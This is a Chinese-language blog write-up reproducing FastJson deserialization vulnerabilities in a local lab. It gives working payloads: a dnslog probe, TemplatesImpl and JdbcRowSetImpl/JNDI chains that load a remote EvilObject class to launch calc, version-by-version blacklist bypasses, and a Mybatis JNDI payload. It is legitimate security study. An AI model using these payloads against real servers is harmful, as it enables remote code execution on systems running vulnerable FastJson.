FastJson 反序列化漏洞复现

FastJson反序列化漏洞复现

写点人能看懂的,今天来看看FastJson

概述

Fastjson是阿里巴巴的开源 JSON 解析库,它可以解析 JSON 格式的字符串,支持将 Java Object序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 Java Object.

Fastjson 提供了两个主要接口来分别实现对于Java Object的序列化和反序列化操作。

  • JSON.toJSONString
  • JSON.parseObject/JSON.parse

对于Fastjson来讲,并不是所有的Java对象都能被转为JSON,只有Java Bean格式的对象才能Fastjson被转为JSON。

Java Bean是啥🤔?

JavaBean 是一种特殊的 Java 类,它符合一组标准的命名和设计规则,旨在便于使用和集成在各种 Java 应用程序中,尤其是在图形化界面构建工具和框架中。JavaBean 最常用于数据传输对象 (DTO),通常作为简单的容器类,用于封装和传递数据。

一般来说我们的Java Bean要有一个无参构造函数和一些私有的成员变量,附加一些公共的gettersetter方法来访问这些属性,也可以附带一些以isType设计的bool属性方法.

Serializable接口可选,用于实现反序列化.这样的一个Java Bean常常用于数据封装使用.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import java.io.Serializable;

public class User implements Serializable {
private String name;
private int age;

// 无参构造器
public User() {}

// 带参构造器
public User(String name, int age) {
this.name = name;
this.age = age;
}

// Getter方法
public String getName() {
return name;
}

// Setter方法
public void setName(String name) {
this.name = name;
}

// Getter方法
public int getAge() {
return age;
}

// Setter方法
public void setAge(int age) {
this.age = age;
}

@Override
public String toString() {
return "User{name='" + name + "', age=" + age + "}";
}
}

Fastjson中的序列化和反序列化

序列化

1
String text = JSON.toJSONString(obj); 

反序列化

1
2
3
VO vo = JSON.parse();  //解析为JSONObject类型或者JSONArray类型
VO vo = JSON.parseObject("{...}"); //JSON文本解析成JSONObject类型
VO vo = JSON.parseObject("{...}", VO.class); //JSON文本解析成VO.class类

JsonObjectJsonArrayFastjson内置的无害默认类,未指定解析的类/json数组会被自动解析到该类上.对于类中private类型的属性值,Fastjson默认不会将其序列化和反序列化。

反序列化到对应的类

fastjson中反序列化到对应的类有两种方法,一种是在parse的时候指定要解析到的类,一种是通过一种叫做@type的属性来自动反序列化到@type指定的类.

在转换的时候打印类型

CTF.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
package org.example;

public class CTF {
private String flag;
private String team;
private int ID;

public CTF() {
}
public String getFlag() {
return flag;
}

public void setFlag(String flag) {
this.flag = flag;
}

public String getTeam() {
return team;
}

public void setTeam(String team) {
this.team = team;
}

public int getID() {
return ID;
}

public void setID(int ID) {
this.ID = ID;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
public static void main(String[] args) {
CTF ctf = new CTF();
ctf.setTeam("Faster");
ctf.setID(1);
ctf.setFlag("flag{test}"); System.out.println(JSON.toJSONString(ctf,SerializerFeature.WriteClassName));
}
}
1
{"@type":"org.example.CTF","flag":"flag{test}","iD":1,"team":"Faster"}

Fastjson在JSON字符串中添加了一个@type字段,用于标识对象所属的类。

1
2
3
4
5
6
7
8
9
10
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
public static void main(String[] args) {
String JSON_CTF = "{\"@type\":\"org.example.CTF\",\"flag\":\"flag{test}\",\"iD\":1,\"team\":\"Faster\"}";
System.out.println(JSON.parse(JSON_CTF));
}
}
1
org.example.CTF@7e32c033

可以看到,对于反序列化接口,我们可以通过指定@type的值来控制反序列化到的类.

直接指定要解析到的类

1
2
3
4
5
6
7
8
9
10
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
import org.example.CTF;
public class Fastjson_Test {
public static void main(String[] args) {
String JSON_CTF = "{\"@type\":\"org.example.CTF\",\"flag\":\"flag{test}\",\"iD\":1,\"team\":\"Faster\"}";
System.out.println(JSON.parseObject(JSON_CTF, CTF.class));
}
}
1
org.example.CTF@7e32c033

Fastjson反序列化流程分析

一个bean的属性只能通过getter和setter来进行设定,我们不难猜测在反序列化的过程中会调用指定类的setter来进行属性赋值.

修改一个我们要指定的反序列化的类的setter和getter,让它进行最直观的操作——弹计算器和任务管理器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package org.example;

import java.io.IOException;

public class Calc {
public String calc;

public Calc() {
System.out.println("调用了构造函数");
}

public String getCalc() throws IOException {
System.out.println("调用了getter");
Runtime.getRuntime().exec("calc");
return calc;
}

public void setCalc(String calc) throws IOException {
this.calc = calc;
Runtime.getRuntime().exec("taskmgr");
System.out.println("调用了setter");
}
}

image-20250310182542402

事实证明在走序列化和反序列化的流程中都会调用目标类的Setter和Getter和构造函数.

所以我们的目标就是找一个带有可控恶意参数的getter和setter或是构造函数来实现反序列化攻击.

阅读源码发现,FastJson在通过@type获取类之后,通过反射拿到该类所有的方法存入methods,接下来遍历methods进而获取getter、setter方法

setter的查找方式:

  1. 方法名长度大于4
  2. 非静态方法
  3. 返回值为void或当前类
  4. 方法名以set开头
  5. 参数个数为1

getter的查找方式:

  1. 方法名长度大于等于4
  2. 非静态方法
  3. 以get开头且第4个字母为大写
  4. 无传入参数
  5. 返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong

Dnslog探测

起了个Springboot测测洞,漏洞代码在这

1
2
3
4
5
6
7
@PostMapping("/unserialize")
public String unserialize(@RequestBody String json) {
Object obj = JSON.parseObject(json, Object.class);

System.out.println(obj.getClass().getName());
return obj.toString();
}

image-20250310183144824

1
2
3
4
{
"@type": "java.net.Inet4Address",
"val": "fastjson.l906b0.dnslog.cn"
}

image-20250310183202929

image-20250310183220416

image-20250310183359506

可以看到传入的值被进行了一次DNS查询.

InnetAddress类有一个getter方法,用于查询真实的IP地址,落到实处也就是进行了一次DNS查询,从而可以进行目标能否进行攻击的探测.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
private static InetAddress[] getAddressesFromNameService(String host, InetAddress reqAddr)
throws UnknownHostException
{
InetAddress[] addresses = null;
boolean success = false;
UnknownHostException ex = null;
if ((addresses = checkLookupTable(host)) == null) {
try {
for (NameService nameService : nameServices) {
try {
addresses = nameService.lookupAllHostAddr(host);
success = true;
break;
} catch (UnknownHostException uhe) {
if (host.equalsIgnoreCase("localhost")) {
InetAddress[] local = new InetAddress[] { impl.loopbackAddress() };
addresses = local;
success = true;
break;
}
else {
addresses = unknown_array;
success = false;
ex = uhe;
}
}
}
if (reqAddr != null && addresses.length > 1 && !addresses[0].equals(reqAddr)) {
int i = 1;
for (; i < addresses.length; i++) {
if (addresses[i].equals(reqAddr)) {
break;
}
}
if (i < addresses.length) {
InetAddress tmp, tmp2 = reqAddr;
for (int j = 0; j < i; j++) {
tmp = addresses[j];
addresses[j] = tmp2;
tmp2 = tmp;
}
addresses[i] = tmp2;
}
}
cacheAddresses(host, addresses, success);

if (!success && ex != null)
throw ex;

} finally {
updateLookupTable(host);
}
}

return addresses;
}

漏洞复现

Fastjson <=1.2.24

TemplatesImpl利用链

Java 9 及后续版本的模块系统限制了对JDK内部模块的访问,因此不好进行攻击

下列代码在Java 8环境下复现

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl 这个类中定义了一个内部类

TransletClassLoader,其中defineClass没有限制作用域,可以直接被外部调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
static final class TransletClassLoader extends ClassLoader {
private final Map<String,Class> _loadedExternalExtensionFunctions;

TransletClassLoader(ClassLoader parent) {
super(parent);
_loadedExternalExtensionFunctions = null;
}

TransletClassLoader(ClassLoader parent,Map<String, Class> mapEF) {
super(parent);
_loadedExternalExtensionFunctions = mapEF;
}

public Class<?> loadClass(String name) throws ClassNotFoundException {
Class<?> ret = null;
// The _loadedExternalExtensionFunctions will be empty when the
// SecurityManager is not set and the FSP is turned off
if (_loadedExternalExtensionFunctions != null) {
ret = _loadedExternalExtensionFunctions.get(name);
}
if (ret == null) {
ret = super.loadClass(name);
}
return ret;
}

/**
* Access to final protected superclass member from outer class.
*/
Class defineClass(final byte[] b) {
return defineClass(null, b, 0, b.length);
}
}

这个类里重写了 defineClass 方法,并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里的 defineClass 由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

向前追溯的调用链如下:

1
`TemplatesImpl#getOutputProperties()` ->`TemplatesImpl#newTransformer()` ->`TemplatesImpl#getTransletInstance()` ->`TemplatesImpl#defineTransletClasses()`-> `TransletClassLoader#defineClass()`

其中getOutputProperties属于getter方法,在fastjson里会被直接调用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;

import java.io.IOException;

public class Fastjson_Test {
public static void main(String[] args) throws IOException {
ParserConfig config = new ParserConfig();
String JSON_Calc = "{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"<恶意字节码>\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(JSON_Calc,Object.class,config, Feature.SupportNonPublicField);
}
}

恶意字节码就是写一个能弹计算器的类,编译成class然后把字节流再base64一下导出来

image-20250310195724589

JdbcRowSetImpl利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
private Connection connect() throws SQLException {

// Get a JDBC connection.

// First check for Connection handle object as such if
// "this" initialized using conn.

if(conn != null) {
return conn;

} else if (getDataSourceName() != null) {

// Connect using JNDI.
try {
Context ctx = new InitialContext();
DataSource ds = (DataSource)ctx.lookup
(getDataSourceName());
//return ds.getConnection(getUsername(),getPassword());

if(getUsername() != null && !getUsername().equals("")) {
return ds.getConnection(getUsername(),getPassword());
} else {
return ds.getConnection();
}
}
catch (javax.naming.NamingException ex) {
throw new SQLException(resBundle.handleGetObject("jdbcrowsetimpl.connect").toString());
}

} else if (getUrl() != null) {
// Check only for getUrl() != null because
// user, passwd can be null
// Connect using the driver manager.

return DriverManager.getConnection
(getUrl(), getUsername(), getPassword());
}
else {
return null;
}

}
public String getDataSourceName() {
return dataSource;
}

Connect方法里面调用了lookup方法,从这个类的dataSource变量获取URI,而这个URI我们是可控的.

因此我们去看看哪里可以调用Connect方法:

1
2
3
4
5
6
7
8
9
public void setAutoCommit(boolean autoCommit) throws SQLException {
if(conn != null) {
conn.setAutoCommit(autoCommit);
} else {
conn = connect();
conn.setAutoCommit(autoCommit);
}
}

比较有意思的是这刚好是一个Setter方法,可以满足Fastjson触发的条件,并且数据源也可控.

所以我们只需要反序列化一个JdbcRowSetImpl实例出来,设置它的dataSource属性就可以实现JNDI注入.

img

要注意的是JNDI注入对JDK版本号有限制,高版本JDKtrustURLCodebase变量默认设置为False.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
public java.lang.Object lookup(Name name)
throws NamingException {
if (_nc == null)
throw new ConfigurationException(
"Context does not have a corresponding NamingContext");
if (name.size() == 0 )
return this; // %%% should clone() so that env can be changed
NameComponent[] path = CNNameParser.nameToCosName(name);
java.lang.Object answer = null;

try {
answer = callResolve(path);
try {
// Check whether object factory codebase is trusted
if (CorbaUtils.isObjectFactoryTrusted(answer)) {
answer = NamingManager.getObjectInstance(
answer, name, this, _env);
}
} catch (NamingException e) {
throw e;
} catch (Exception e) {
NamingException ne = new NamingException(
"problem generating object using object factory");
ne.setRootCause(e);
throw ne;
}
} catch (CannotProceedException cpe) {
javax.naming.Context cctx = getContinuationContext(cpe);
return cctx.lookup(cpe.getRemainingName());
}
return answer;
}
public static boolean isObjectFactoryTrusted(Object obj)
throws NamingException {

// Extract Reference, if possible
Reference ref = null;
if (obj instanceof Reference) {
ref = (Reference) obj;
} else if (obj instanceof Referenceable) {
ref = ((Referenceable)(obj)).getReference();
}

if (ref != null && ref.getFactoryClassLocation() != null &&
!CNCtx.trustURLCodebase) {
throw new ConfigurationException(
"The object factory is untrusted. Set the system property" +
" 'com.sun.jndi.cosnaming.object.trustURLCodebase' to 'true'.");
}
return true;
}

确定能攻击后,接下来就是准备外部RMI/LDAP攻击源和发送Payload的事情:

写一个简单的EvilObject.java,弹个计算器来验证代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
import java.io.IOException;

public class EvilObject {
public EvilObject() {
}
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

使用javac编译成class,用python快速开启一个HTTP服务提供文件下载支持

1
python -m http.server 8000

接下来是启动RMI服务器,这里用了一个快速便捷的Jar包,后面的参数是用来确定提供class的registry地址的,也可以加最后一个参数用来改变RMI端口号

Github Jar包下载

image-20250311004434005

注意JDK版本对复现的影响还是挺大的,我之前用8u432没打通,改了个8u102就能打了

image-20250311003801691

LDAP的复现类似,这里略过.

Fastjson > 1.2.24

1.2.25-1.2.41 与WAF的斗智斗勇

阿里:什么!我们的产品还有这么大的漏洞,修!

修了,但没完全修

于是在1.2.25之后,出现了checkAutoType()检查,会对要加载的类进行白名单和黑名单限制,并且引入了一个配置参数AutoTypeSupport

image-20250311010847398

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
} else {
String className = typeName.replace('$', '.');
if (this.autoTypeSupport || expectClass != null) {
int i;
String deny;
for(i = 0; i < this.acceptList.length; ++i) {
deny = this.acceptList[i];
if (className.startsWith(deny)) {
return TypeUtils.loadClass(typeName, this.defaultClassLoader);
}
}

for(i = 0; i < this.denyList.length; ++i) {
deny = this.denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
String accept;
int i;
for(i = 0; i < this.denyList.length; ++i) {
accept = this.denyList[i];
if (className.startsWith(accept)) {
throw new JSONException("autoType is not support. " + typeName);
}
}

for(i = 0; i < this.acceptList.length; ++i) {
accept = this.acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (this.autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader);
}

if (clazz != null) {
if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}

if (!this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
}
}

新定义了黑白名单机制,跟进一下白名单里面的Load机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var6) {
var6.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);
return clazz;
}
} catch (Throwable var5) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var4) {
return clazz;
}
}
} else {
return null;
}
}
  • 如果以[开头则去掉[后进行类加载(在之前Fastjson已经判断过是否为数组了,实际走不到这一步)
  • 如果以L开头,以;结尾,则去掉开头和结尾进行类加载

因此,只要在开启autotype的json @type里面注入L和;就可以绕过所有的黑名单配置.

1.2.42 马奇诺防线

字符串匹配不靠谱,改用hash

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}

long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
} else {
if (!this.autoTypeSupport) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= (long)c;
hash *= 1099511628211L;
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}

if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

return clazz;
}
}
}

if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}

if (clazz != null) {
if (TypeUtils.getAnnotation(clazz, JSONType.class) != null) {
return clazz;
}

if (ClassLoader.class.isAssignableFrom(clazz) || DataSource.class.isAssignableFrom(clazz)) {
throw new JSONException("autoType is not support. " + typeName);
}

if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
}

throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}

JavaBeanInfo beanInfo = JavaBeanInfo.build(clazz, clazz, this.propertyNamingStrategy);
if (beanInfo.creatorConstructor != null && this.autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
}

int mask = Feature.SupportAutoType.mask;
boolean autoTypeSupport = this.autoTypeSupport || (features & mask) != 0 || (JSON.DEFAULT_PARSER_FEATURE & mask) != 0;
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
} else {
return clazz;
}
}
} else {
throw new JSONException("autoType is not support. " + typeName);
}
}

LoadClass加了点判断,去掉了第一个L和最后一个;,双写就能绕

image-20250311015947167

1.2.43 马奇诺防线II

修洞的着急了,直接把LL ban了

不过我还是不太明白,把L ;作为特例的意义是什么TvT

1
2
3
4
5
6
7
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}

className = className.substring(1, className.length() - 1);
}

解密一下就是两个L开头会被禁用

可以用奇怪的方式绕过,具体来说是用[[{干扰逻辑的处理

贴个Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.IOException;

import static java.lang.System.setProperty;

public class Fastjson_Test {
public static void main(String[] args) throws IOException {
setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
ParserConfig config = ParserConfig.getGlobalInstance();
config.setAutoTypeSupport(true);
String JSON_Calc = "{\"@type\":\"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"[{,\"_bytecodes\":[\"<恶意字节码>\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }}";
JSON.parseObject(JSON_Calc,Object.class,config, Feature.SupportNonPublicField);
}
}

image-20250311021824696

1.2.45 Mybatis旁路JNDI

将军走此小道,追兵交我应付

Mybatis依赖有JNDI口子,一把梭了

1
2
3
4
5
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.5.6</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.IOException;

import static java.lang.System.setProperty;

public class Fastjson_Test {
public static void main(String[] args) throws IOException {
setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
setProperty("com.sun.jndi.cosnaming.object.trustURLCodebase","true");
ParserConfig config = ParserConfig.getGlobalInstance();
config.setAutoTypeSupport(true);
String JSON_Calc = "{\n" +
" \"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\n" +
" \"properties\":{\n" +
" \"data_source\":\"rmi://127.0.0.1:1099/EvilObject\"\n" +
" }\n" +
"}";
JSON.parseObject(JSON_Calc,Object.class,config, Feature.SupportNonPublicField);
}
}

image-20250311023759253

1.2.* 通杀大Payload

说到底还是写代码写的不严谨,属于人祸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
if (this.autoTypeSupport || expectClass != null) {
hash = h3;

for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}

if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}

if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}

if (clazz == null) {
clazz = this.deserializers.findClass(typeName);
}

if (clazz != null) {
if (expectClass != null && clazz != HashMap.class && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
} else {
return clazz;
}
}

黑名单匹配之前会先检查Mapping中有没有对应的类,有的话直接返回,就可以绕过黑名单逻辑.

找一个写入mapping的点,之前见过的LoadClass方法里面有写入缓存的逻辑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
} else {
try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}

return clazz;
}
} catch (Throwable var7) {
var7.printStackTrace();
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}

return clazz;
}
} catch (Throwable var6) {
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch (Throwable var5) {
return clazz;
}
}
} else {
return null;
}
}

image-20250311030608752

1.2.48 战斗告一段落,也许…?

修了cache默认为true启用,并对mapping.put做了限制并添加了黑名单.

Fastjson的故事暂时告一段落了.复现的过程中有很多收获,希望能在Java安全的道路上越走越远.

参考链接